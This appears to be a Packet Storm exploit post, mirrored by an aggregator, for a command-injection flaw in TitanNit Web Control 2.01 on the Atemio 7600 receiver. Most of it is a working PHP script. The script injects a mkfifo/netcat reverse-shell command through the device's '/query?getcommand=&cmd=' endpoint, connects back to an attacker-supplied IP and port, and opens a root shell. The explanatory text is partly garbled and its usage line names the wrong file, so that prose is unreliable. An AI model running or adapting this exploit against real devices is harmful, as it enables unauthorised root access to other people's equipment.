TitanNit Web Control 2.01 / Atemio 7600 Code Injection
2024-10-2 21:53:27 Author: packetstormsecurity.com(查看原文) 阅读量:0 收藏

=============================================================================================================================================
| # Title : TitanNit Web Control 2.01 / Atemio 7600 php code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.1 (64 bits) |
| # Vendor : https://www.sat-world.com/Atemio-AM-520-HD-TitanNit-Edition |
=============================================================================================================================================

poc :

[+] Explanation:

We used the exec function to run the nc(netcat) command which subscribes to the subscriptions offered by the privileged execution.

In Windows environments, you can use the netcat tool for communications headsets.

Note: Make sure that netcat is installed on your system (you can download netcat for Windows).

[+] save as poc.php

[+] Usage : C:\www\test>php 3.php poc.php

[+] payload :

<?php

class RemoteControl {

private $timeout = 10;
private $target;
private $callback;
private $path = "/query?getcommand=&cmd=";
private $lport;
private $cmd;

public function beacon() {
$this->cmd = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc ";
$this->cmd .= $this->callback . " ";
$this->cmd .= $this->lport . " ";
$this->cmd .= ">/tmp/j";
$this->path .= $this->cmd;

$ch = curl_init($this->target . $this->path);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
}

public function slusaj() {
echo "[*] Listening on port " . $this->lport . "\n";
sleep(1);

// Windows solution using exec
$cmd = "nc -lvp " . $this->lport; // Example with netcat listener
exec($cmd, $output, $result_code);

if ($result_code == 0) {
echo "[*] Rootshell session opened\n";
foreach ($output as $line) {
echo $line . "\n";
}
} else {
echo "[!] Error in executing the listener\n";
}
}

public function tajmer() {
for ($z = $this->timeout; $z > 0; $z--) {
echo "[*] Callback waiting: " . $z . "s\r";
sleep(1);
}
}

public function thricer() {
echo "[*] Starting callback listener\n";

// Run listener in the background using exec
$this->slusaj();

echo "[*] Generating callback payload\n";
sleep(1);
echo "[*] Calling\n";
$this->beacon();
}

public function howto($argv) {
if (count($argv) != 4) {
$this->usage();
} else {
$this->target = $argv[1];
$this->callback = $argv[2];
$this->lport = (int)$argv[3];

if (strpos($this->target, "http") === false) {
$this->target = "http://" . $this->target;
}
}
}

public function dostabesemolk() {

}

public function usage() {
$this->dostabesemolk();
echo "Usage: php titan.php <target ip> <listen ip> <listen port>\n";
echo "Example: php titan.php 192.168.1.13:20000 192.168.1.8 9999\n";
exit(0);
}

public function main($argv) {
$this->howto($argv);
$this->thricer();
}
}

$control = new RemoteControl();
$control->main($argv);
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================


文章来源: https://packetstormsecurity.com/files/181967/twc201atemio7600-exec.txt
如有侵权请联系:admin#unsafe.sh